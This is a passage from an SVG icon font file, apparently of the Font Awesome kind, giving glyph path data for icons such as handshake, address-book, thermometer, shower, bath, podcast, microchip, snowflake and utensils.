-172.858 141.349c-8.96484 15.2109 -8.76562 33.8643 0 48.7393c0.0107422 0.0166016 0.0234375 0.0332031 0.0332031 0.0498047c33.5459 56.8984 82.7676 99.8506 136.79 126.242l-43.1309 58.3945 +c-7.60156 10.8604 -4.95996 25.8252 5.90039 33.4268l13.1143 9.17773c10.8584 7.59961 25.8213 4.95801 33.4229 -5.90039l52.7705 -72.1689c26.3496 6.79004 53.9834 10.4092 82.4512 10.4092c119.81 0 224.96 -63.9492 281.344 -159.631zM390.026 102.06 +c21.1406 23.9658 33.9736 55.4365 33.9736 89.9404c0 75.1738 -60.8379 136 -136 136c-17.5117 0 -34.2422 -3.30566 -49.6084 -9.32324l19.0684 -27.2363c25.9883 7.96289 54.7598 5.56836 79.5098 -7.68066h-0.0292969c-23.6504 0 -42.8203 -19.1699 -42.8203 -42.8193 +c0 -23.4717 18.9922 -42.8203 42.8203 -42.8203c23.6494 0 42.8193 19.1699 42.8193 42.8203v0.0292969c18.9111 -35.3271 15.8818 -79.1123 -8.7998 -111.68z" /> + <glyph glyph-name="handshake" unicode="" horiz-adv-x="640" +d="M434.7 384c8.5 0 16.7002 -3.40039 22.5996 -9.40039l54.6006 -54.5996v-193.5c-2.40039 2.7002 -5 5.2998 -7.90039 7.7002l-145.6 118.2l26.0996 23.8994c6.5 6 7 16.1006 1 22.6006c-5.90039 6.5 -16.0996 6.89941 -22.5996 1l-79.9004 -73.2002 +c-0.0996094 -0.100586 -0.299805 -0.100586 -0.400391 -0.200195c-16.6992 -14.9004 -43.3994 -11.2002 -56.0996 2.7002c-14.2002 15.5 -14.5 40.3994 2.09961 56c0.100586 0.0996094 0.200195 0.299805 0.300781 0.399414l98.2998 90 +c5.89941 5.40039 13.5996 8.40039 21.5996 8.40039h85.9004zM544 319.8h96v-255.899h-64c-17.7002 0 -32 14.2998 -32 32v223.899zM592 95.9004c8.7998 0 16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16s-16 -7.2002 -16 -16c0 -8.80078 7.2002 -16 16 -16zM0 64v255.8h96 +v-223.8c0 -17.7002 -14.2998 -32 -32 -32h-64zM48 127.9c-8.7998 0 -16 -7.10059 -16 -16c0 -8.80078 7.2002 -16 16 -16s16 7.19922 16 16c0 8.7998 -7.2002 16 -16 16zM483.9 109.3c13.6992 -11.2002 15.7998 -31.2998 4.59961 -45.0996l-9.5 -11.7002 +c-11.0996 -13.7998 -31.2998 -15.7998 -45 -4.7002l-5.40039 4.40039l-31.3994 -38.6006c-12.9004 -15.8994 -36.4004 -18.3994 -52.2998 -5.39941l-17.9004 15.5l-0.200195 -0.200195c-22.2998 -27.4004 -62.5996 -31.5996 -90 -9.2998l-90.5 81.8994h-18.2998v223.9 +l54.7002 54.5996c6 6 14.0996 9.40039 22.5996 9.40039h83.7998l-81.7998 -74.9004c-29.2002 -26.7998 -31.2998 -72.2998 -4.39941 -101.699c26.5 -28.9004 72 -31.5 101.699 -4.40039l30 27.5z" /> + <glyph glyph-name="envelope-open" unicode="" +d="M512 -16c0 -26.5098 -21.4902 -48 -48 -48h-416c-26.5098 0 -48 21.4902 -48 48v263.276c0 15.3379 7.17383 28.9863 18.3867 37.7754c24.9131 19.5293 45.501 35.3652 164.2 121.512c16.8252 12.2666 50.21 41.7832 73.4131 41.4336 +c23.1982 0.353516 56.5957 -29.1719 73.4131 -41.4326c118.687 -86.1377 139.303 -101.995 164.2 -121.513c11.2129 -8.78906 18.3867 -22.4375 18.3867 -37.7754v-263.276zM446.334 180.605c-2.5625 3.72754 -7.7002 4.59473 -11.3389 1.90625 +c-22.8447 -16.873 -55.4619 -40.7051 -105.582 -77.0791c-16.8252 -12.2656 -50.21 -41.7803 -73.4131 -41.4297c-23.2109 -0.34375 -56.5586 29.1436 -73.4131 41.4297c-50.1143 36.3701 -82.7344 60.2041 -105.582 77.0791 +c-3.63867 2.68848 -8.77637 1.82129 -11.3389 -1.90625l-9.07227 -13.1963c-0.884766 -1.28711 -1.40332 -2.8457 -1.40332 -4.52539c0 -2.63867 1.26953 -4.98438 3.24219 -6.44141c22.8877 -16.8994 55.4541 -40.6904 105.304 -76.8682 +c20.2734 -14.7812 56.5234 -47.8135 92.2637 -47.5732c35.7236 -0.242188 71.9609 32.7715 92.2627 47.5732c49.8506 36.1787 82.418 59.9697 105.304 76.8682c1.97266 1.45703 3.25391 3.79883 3.25391 6.4375c0 1.67969 -0.530273 3.24219 -1.41504 4.5293z" /> + <glyph glyph-name="address-book" unicode="" horiz-adv-x="448" +d="M436 288h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-64h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12h-20v-48c0 -26.5 -21.5 -48 -48 -48h-320c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48 +h320c26.5 0 48 -21.5 48 -48v-48h20c6.59961 0 12 -5.40039 12 -12v-40c0 -6.59961 -5.40039 -12 -12 -12zM208 320c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM320 83.2002v19.2002 +c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199 +c12.4004 0 22.4004 8.59961 22.4004 19.2002z" /> + <glyph glyph-name="address-card" unicode="" horiz-adv-x="576" +d="M528 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h480zM176 320c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM288 83.2002v19.2002 +c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199 +c12.4004 0 22.4004 8.59961 22.4004 19.2002zM512 136v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM512 200v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16 +c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8zM512 264v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8z" /> + <glyph glyph-name="user-circle" unicode="" horiz-adv-x="496" +d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM248 344c-48.5996 0 -88 -39.4004 -88 -88s39.4004 -88 88 -88s88 39.4004 88 88s-39.4004 88 -88 88zM248 0c58.7002 0 111.3 26.5996 146.5 68.2002 +c-18.7998 35.3994 -55.5996 59.7998 -98.5 59.7998c-2.40039 0 -4.7998 -0.400391 -7.09961 -1.09961c-12.9004 -4.2002 -26.6006 -6.90039 -40.9004 -6.90039s-27.9004 2.7002 -40.9004 6.90039c-2.2998 0.699219 -4.69922 1.09961 -7.09961 1.09961 +c-42.9004 0 -79.7002 -24.4004 -98.5 -59.7998c35.2002 -41.6006 87.7998 -68.2002 146.5 -68.2002z" /> + <glyph glyph-name="id-badge" unicode="" horiz-adv-x="384" +d="M336 448c26.5 0 48 -21.5 48 -48v-416c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v416c0 26.5 21.5 48 48 48h288zM144 416c-8.7998 0 -16 -7.2002 -16 -16s7.2002 -16 16 -16h96c8.7998 0 16 7.2002 16 16s-7.2002 16 -16 16h-96zM192 288 +c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM304 51.2002v19.2002c0 31.7998 -30.0996 57.5996 -67.2002 57.5996h-5c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-5 +c-37.1006 0 -67.2002 -25.7998 -67.2002 -57.5996v-19.2002c0 -10.6006 10 -19.2002 22.4004 -19.2002h179.199c12.4004 0 22.4004 8.59961 22.4004 19.2002z" /> + <glyph glyph-name="id-card" unicode="" horiz-adv-x="576" +d="M528 416c26.5 0 48 -21.5 48 -48v-16h-576v16c0 26.5 21.5 48 48 48h480zM0 16v304h576v-304c0 -26.5 -21.5 -48 -48 -48h-480c-26.5 0 -48 21.5 -48 48zM352 248v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-144 +c-4.40039 0 -8 -3.59961 -8 -8zM352 184v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8zM352 120v-16c0 -4.40039 3.59961 -8 8 -8h144c4.40039 0 8 3.59961 8 8v16 +c0 4.40039 -3.59961 8 -8 8h-144c-4.40039 0 -8 -3.59961 -8 -8zM176 256c-35.2998 0 -64 -28.7002 -64 -64s28.7002 -64 64 -64s64 28.7002 64 64s-28.7002 64 -64 64zM67.0996 51.7998c-3.19922 -9.7998 5.2002 -19.7998 15.6006 -19.7998h186.6 +c10.4004 0 18.7998 9.90039 15.6006 19.7998c-8.40039 25.7002 -32.5 44.2002 -60.9004 44.2002h-8.2002c-12.2002 -5.09961 -25.7002 -8 -39.7998 -8s-27.5 2.90039 -39.7998 8h-8.2002c-28.4004 0 -52.5 -18.5 -60.9004 -44.2002z" /> + <glyph glyph-name="thermometer-full" unicode="" horiz-adv-x="256" +d="M224 352v-203.347c19.9121 -22.5635 32 -52.1943 32 -84.6533c0 -70.6963 -57.3018 -128 -128 -128c-0.298828 0 -0.610352 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1973 12.2227 61.5771 31.998 83.9863 +v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96zM128 -16c44.1123 0 80 35.8877 80 80c0 34.3379 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7334 -14.4277 -31.8262 -32.0996 -31.999 -66.0801 +c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199zM192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v232.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-232.583c19.124 -11.0684 32 -31.7324 32 -55.417z" /> + <glyph glyph-name="thermometer-three-quarters" unicode="" horiz-adv-x="256" +d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v168.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-168.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533 +c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z +M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312 +c44.1123 0 80 35.8877 80 80z" /> + <glyph glyph-name="thermometer-half" unicode="" horiz-adv-x="256" +d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v104.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-104.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533 +c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z +M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312 +c44.1123 0 80 35.8877 80 80z" /> + <glyph glyph-name="thermometer-quarter" unicode="" horiz-adv-x="256" +d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64c0 23.6846 12.876 44.3486 32 55.417v40.583c0 17.6729 14.3271 32 32 32s32 -14.3271 32 -32v-40.583c19.124 -11.0684 32 -31.7324 32 -55.417zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533 +c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347z +M208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312 +c44.1123 0 80 35.8877 80 80z" /> + <glyph glyph-name="thermometer-empty" unicode="" horiz-adv-x="256" +d="M192 64c0 -35.3457 -28.6543 -64 -64 -64s-64 28.6543 -64 64s28.6543 64 64 64s64 -28.6543 64 -64zM224 148.653c19.9121 -22.5635 32 -52.1943 32 -84.6533c0 -70.6963 -57.3027 -128 -128 -128c-0.298828 0 -0.609375 0.000976562 -0.90918 0.00292969 +c-70.3018 0.488281 -127.448 58.3613 -127.089 128.664c0.164062 32.1982 12.2227 61.5781 31.998 83.9863v203.347c0 53.0186 42.9814 96 96 96s96 -42.9814 96 -96v-203.347zM208 64c0 34.3389 -19.3701 52.1904 -32 66.502v221.498c0 26.4668 -21.5332 48 -48 48 +s-48 -21.5332 -48 -48v-221.498c-12.7324 -14.4277 -31.8252 -32.0996 -31.999 -66.0801c-0.223633 -43.876 35.5635 -80.1162 79.4229 -80.4199l0.576172 -0.00195312c44.1123 0 80 35.8877 80 80z" /> + <glyph glyph-name="shower" unicode="" +d="M304 128c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM336 224c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM368 160c-8.83105 0 -16 7.16895 -16 16s7.16895 16 16 16 +s16 -7.16895 16 -16s-7.16895 -16 -16 -16zM336 128c-8.83105 0 -16 7.16895 -16 16s7.16895 16 16 16s16 -7.16895 16 -16s-7.16895 -16 -16 -16zM304 192c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM432 224 +c-8.83105 0 -16 7.16895 -16 16s7.16895 16 16 16s16 -7.16895 16 -16s-7.16895 -16 -16 -16zM384 208c0 8.83105 7.16895 16 16 16s16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16zM368 256c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16 +s-16 7.16895 -16 16s7.16895 16 16 16zM464 224c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM496 256c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM432 192 +c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM400 160c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM336 96c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16 +s-16 7.16895 -16 16s7.16895 16 16 16zM304 64c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM368 128c8.83105 0 16 -7.16895 16 -16s-7.16895 -16 -16 -16s-16 7.16895 -16 16s7.16895 16 16 16zM389.65 346.35 +c2.89648 -2.89551 4.68945 -6.90039 4.68945 -11.3164s-1.79297 -8.41699 -4.68945 -11.3135l-169.381 -169.37c-2.89551 -2.89648 -6.90039 -4.68945 -11.3164 -4.68945s-8.41699 1.79297 -11.3135 4.68945l-11.2998 11.3105 +c-2.89355 2.89551 -4.68457 6.89844 -4.68457 11.3125c0 4.41309 1.79102 8.41113 4.68457 11.3076l5.66016 5.66992c-19.7871 20.0811 -31.9951 47.6602 -32 78.0498c0 19.2402 5.2998 37.0801 13.9297 52.8604l-10 10c-10.5723 10.6055 -25.1416 17.167 -41.2861 17.167 +c-2.58984 0 -5.1416 -0.169922 -7.64355 -0.49707c-30 -3.73047 -51 -31.7803 -51 -61.9307v-305.6c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v303.15c0 67.9395 55.4902 129.35 123.44 128.85 +c33.4453 -0.166992 63.7471 -13.835 85.6592 -35.8496l10 -10c15.8203 8.5498 33.6602 13.8496 52.9004 13.8496c30.3916 -0.000976562 57.9707 -12.21 78.0498 -32l5.66992 5.66016c2.89648 2.89648 6.90137 4.68945 11.3174 4.68945s8.41699 -1.79297 11.3125 -4.68945z +" /> + <glyph glyph-name="bath" unicode="" +d="M32 64v48h448v-48c-0.0576172 -28.2656 -12.3916 -53.6514 -32 -71.0898v-40.9102c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v16h-256v-16c0 -8.83105 -7.16895 -16 -16 -16h-32c-8.83105 0 -16 7.16895 -16 16v40.9102 +c-19.6084 17.4385 -31.9424 42.8242 -32 71.0898zM496 192c8.83105 0 16 -7.16895 16 -16v-16c0 -8.83105 -7.16895 -16 -16 -16h-480c-8.83105 0 -16 7.16895 -16 16v16c0 8.83105 7.16895 16 16 16h16v186.75c0 38.2197 31.0391 69.2656 69.2598 69.2656 +c19.1113 0 36.4248 -7.75879 48.96 -20.2959l19.2607 -19.2695c29.8994 13.1299 59.1094 7.60938 79.7295 -8.62012l0.169922 0.169922c2.89551 2.89355 6.89941 4.68457 11.3125 4.68457s8.41211 -1.79102 11.3076 -4.68457l11.3096 -11.3096 +c2.89746 -2.89648 4.69043 -6.90137 4.69043 -11.3174s-1.79297 -8.41699 -4.69043 -11.3135l-105.369 -105.369c-2.89648 -2.89746 -6.90137 -4.69043 -11.3174 -4.69043s-8.41699 1.79297 -11.3135 4.69043l-11.3096 11.3096 +c-2.88477 2.89453 -4.66992 6.8916 -4.66992 11.2969c0 4.40625 1.78516 8.39844 4.66992 11.293l0.169922 0.169922c-16.2295 20.6201 -21.75 49.8506 -8.62012 79.7305l-19.2695 19.2598c-3.84766 3.84082 -9.16016 6.21289 -15.0205 6.21289 +c-11.7178 0 -21.2344 -9.50098 -21.2598 -21.2129v-186.75h416z" /> + <glyph glyph-name="podcast" unicode="" horiz-adv-x="448" +d="M267.429 -40.5635c-5.14258 -19.0098 -24.5703 -23.4365 -43.4287 -23.4365c-18.8574 0 -38.2861 4.42676 -43.4277 23.4365c-7.64551 28.4297 -20.5723 99.665 -20.5723 132.813c0 35.1562 31.1416 43.75 64 43.75s64 -8.59375 64 -43.75 +c0 -32.9492 -12.8711 -104.179 -20.5713 -132.813zM156.867 159.446c2.6748 -2.61914 2.39941 -6.98535 -0.628906 -9.18555c-9.3125 -6.76465 -16.4609 -15.3418 -21.2354 -25.3623c-1.74219 -3.65723 -6.5 -4.6582 -9.45312 -1.8877 +c-28.0176 26.2891 -45.5498 63.6279 -45.5498 104.989c0 80.7852 66.8691 146.247 148.163 143.941c76.1982 -2.16113 137.938 -64.1631 139.793 -140.369c1.04199 -42.7822 -16.6846 -81.5225 -45.5107 -108.565c-2.95215 -2.76855 -7.70801 -1.7627 -9.44922 1.8916 +c-4.77441 10.0195 -11.9219 18.5977 -21.2344 25.3623c-3.02832 2.20117 -3.30273 6.56738 -0.62793 9.1875c17.8018 17.4355 28.8662 41.7246 28.8662 68.5518c0 54.1934 -45.1377 98.042 -99.793 95.9258c-49.7295 -1.9248 -90.0703 -42.1572 -92.124 -91.8809 +c-1.17383 -28.4258 10.0908 -54.291 28.7842 -72.5986zM224 448c123.815 0 224 -100.205 224 -224c0 -90.1865 -52.7734 -165.727 -125.739 -201.407c-4.33203 -2.11914 -9.2666 1.54297 -8.53516 6.31055c2.55566 16.6416 4.625 33.1924 5.62402 47.2295 +c48.4922 31.377 80.6504 85.9355 80.6504 147.867c0 97.2031 -79.207 176.253 -176.468 175.999c-96.2393 -0.250977 -174.938 -78.6621 -175.529 -174.899c-0.376953 -61.3311 30.7871 -115.541 78.1875 -147.347c1.52832 -1.02637 2.53125 -2.67578 2.67773 -4.51172 +c1.06348 -13.3936 3.02344 -28.8271 5.40625 -44.3389c0.731445 -4.7666 -4.20215 -8.42871 -8.53516 -6.31055c-73.1377 35.7607 -125.739 111.416 -125.739 201.408c0 123.815 100.204 224 224 224zM224 288c35.3457 0 64 -28.6543 64 -64s-28.6543 -64 -64 -64 +s-64 28.6543 -64 64s28.6543 64 64 64z" /> + <glyph glyph-name="window-maximize" unicode="" +d="M464 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h416zM448 256v84c0 6.59961 -5.40039 12 -12 12h-360c-6.59961 0 -12 -5.40039 -12 -12v-84h384z" /> + <glyph glyph-name="window-minimize" unicode="" +d="M464 96c26.5 0 48 -21.5 48 -48v-32c0 -26.5 -21.5 -48 -48 -48h-416c-26.5 0 -48 21.5 -48 48v32c0 26.5 21.5 48 48 48h416z" /> + <glyph glyph-name="window-restore" unicode="" +d="M512 400v-288c0 -26.5 -21.5 -48 -48 -48h-48v208c0 44.0996 -35.9004 80 -80 80h-208v48c0 26.5 21.5 48 48 48h288c26.5 0 48 -21.5 48 -48zM384 272v-288c0 -26.5 -21.5 -48 -48 -48h-288c-26.5 0 -48 21.5 -48 48v288c0 26.5 21.5 48 48 48h288 +c26.5 0 48 -21.5 48 -48zM316 244c0 6.59961 -5.40039 12 -12 12h-228c-6.59961 0 -12 -5.40039 -12 -12v-52h252v52z" /> + <glyph glyph-name="microchip" unicode="" +d="M416 400v-416c0 -26.5098 -21.4902 -48 -48 -48h-224c-26.5098 0 -48 21.4902 -48 48v416c0 26.5098 21.4902 48 48 48h224c26.5098 0 48 -21.4902 48 -48zM512 342v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42 +c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 246v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 150v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6 +c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM512 54v-12c0 -3.31152 -2.68848 -6 -6 -6h-18v-6c0 -3.31152 -2.68848 -6 -6 -6h-42v48h42c3.31152 0 6 -2.68848 6 -6v-6h18c3.31152 0 6 -2.68848 6 -6zM30 72h42 +v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6zM30 168h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6 +c0 3.31152 2.68848 6 6 6zM30 264h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6zM30 360h42v-48h-42c-3.31152 0 -6 2.68848 -6 6v6h-18c-3.31152 0 -6 2.68848 -6 6v12 +c0 3.31152 2.68848 6 6 6h18v6c0 3.31152 2.68848 6 6 6z" /> + <glyph glyph-name="snowflake" unicode="" horiz-adv-x="448" +d="M440.3 102.8c7.40039 -4.2002 9.90039 -13.7002 5.60059 -21l-15.5 -26.7998c-4.30078 -7.40039 -13.7002 -10 -21.1006 -5.7002l-33.7998 19.5l7 -26c2.2002 -8.2002 -2.7002 -16.7002 -10.9004 -18.8994l-14.8994 -4 +c-8.2002 -2.2002 -16.7002 2.69922 -18.9004 10.8994l-19 70.7998l-62.7998 36.2002v-77.5l53.4004 -53.7002c6.19922 -6.19922 6.19922 -16.3994 0 -22.5996l-11.3008 -11.2998c-6.19922 -6.2002 -16.3994 -6.2002 -22.5996 0l-19.7002 19.7002v-40.4004 +c0 -8.7998 -7.2002 -16 -16 -16h-32c-8.7998 0 -16 7.2002 -16 16v40.2998l-19.7002 -19.7002c-6.19922 -6.19922 -16.3994 -6.19922 -22.5996 0l-11.2998 11.3008c-6.2998 6.19922 -6.2998 16.3994 0 22.5996l53.7002 53.7002v77.5l-62.8008 -36.2002l-19 -70.7998 +c-2.19922 -8.2002 -10.6992 -13.1006 -18.8994 -10.9004l-14.9004 4c-8.2002 2.2002 -13.0996 10.7002 -10.8994 18.9004l7 26l-33.8008 -19.5c-7.39941 -4.2002 -16.7998 -1.7002 -21.0996 5.7002l-15.5 26.7998c-4.2002 7.39941 -1.7002 16.7998 5.7002 21.0996 +l33.7998 19.6006l-26 7c-8.2002 2.19922 -13.0996 10.6992 -10.9004 18.8994l4 14.9004c2.2002 8.2002 10.7002 13.0996 18.9004 10.8994l70.7998 -19l63.7998 36.9004l-63.7998 36.9004l-70.7998 -19c-8.2002 -2.2002 -16.7002 2.69922 -18.9004 10.8994l-4 14.9004 +c-2.19922 8.2998 2.7002 16.7998 11 19l26 7l-33.7998 19.5c-7.39941 4.2998 -10 13.7002 -5.7002 21.0996l15.5 26.7002c4.30078 7.40039 13.7002 10 21.1006 5.7002l33.7998 -19.5l-7 26c-2.2002 8.2002 2.7002 16.7002 10.9004 18.8994l14.8994 4 +c8.2002 2.2002 16.7002 -2.69922 18.9004 -10.8994l19 -70.7998l62.7998 -36.2002v77.5l-53.7002 53.7002c-6.2998 6.19922 -6.2998 16.3994 0 22.5996l11.4004 11.2998c6.2002 6.2002 16.3994 6.2002 22.5996 0l19.7002 -19.7002v40.4004c0 8.7998 7.2002 16 16 16h32 +c8.7998 0 16 -7.2002 16 -16v-40.4004l19.7998 19.7002c6.2002 6.2002 16.4004 6.2002 22.6006 0l11.2998 -11.2998c6.2002 -6.2002 6.2002 -16.4004 0 -22.5996l-53.7002 -53.7002v-77.5l62.7998 36.2002l19 70.7998c2.2002 8.2002 10.7002 13.0996 18.9004 10.8994 +l14.8994 -4c8.2002 -2.19922 13.1006 -10.6992 10.9004 -18.8994l-7 -26l33.7998 19.5c7.40039 4.2002 16.7998 1.7002 21.1006 -5.7002l15.5 -26.7998c4.19922 -7.40039 1.69922 -16.7998 -5.7002 -21.1006l-33.7998 -19.5l26 -7 +c8.19922 -2.19922 13.0996 -10.6992 10.8994 -18.8994l-4 -14.9004c-2.2002 -8.2002 -10.7002 -13.0996 -18.8994 -10.8994l-70.8008 19l-63.7998 -36.9004l63.9004 -37l70.7998 19c8.2002 2.2002 16.7002 -2.7002 18.9004 -10.9004l4 -14.8994 +c2.19922 -8.2002 -2.7002 -16.7002 -10.9004 -18.9004l-26 -7z" /> + <glyph glyph-name="utensil-spoon" unicode="" +d="M480.1 416.1c55.1006 -55 34.5 -164.899 -28.5 -227.8c-49.2998 -49.2998 -110 -55.0996 -160.399 -28.7998l-192.4 -214.4c-10.3994 -11.5996 -28.5 -12.0996 -39.5 -1.09961l-51.2998 51.2998c-11.0996 11 -10.5996 29 1 39.5l214.5 192.4 +c-26.2998 50.3994 -20.5 111.1 28.7998 160.399c62.9004 63 172.8 83.6006 227.8 28.5z" /> + <glyph glyph-name="utensils" unicode="" horiz-adv-x="416" +d="M207.9 432.8c0.799805 -4.7002 16.0996 -94.5 16.0996 -128.8c0 -52.2998 -27.7998 -89.5996 -68.9004 -104.6l12.9004 -238.101c0.700195 -13.7002 -10.2002 -25.2998 -24 -25.2998h-64c-13.7002 0 -24.7002 11.5 -24 25.2998l12.9004 238.101 +c-41.2002 15 -68.9004 52.3994 -68.9004 104.6c0 34.4004 15.2998 124.1 16.0996 128.8c3.2002 20.2998 45.3008 20.6006 47.9004 -1.09961v-141.2c1.2998 -3.40039 15.0996 -3.2002 16 0c1.40039 25.2998 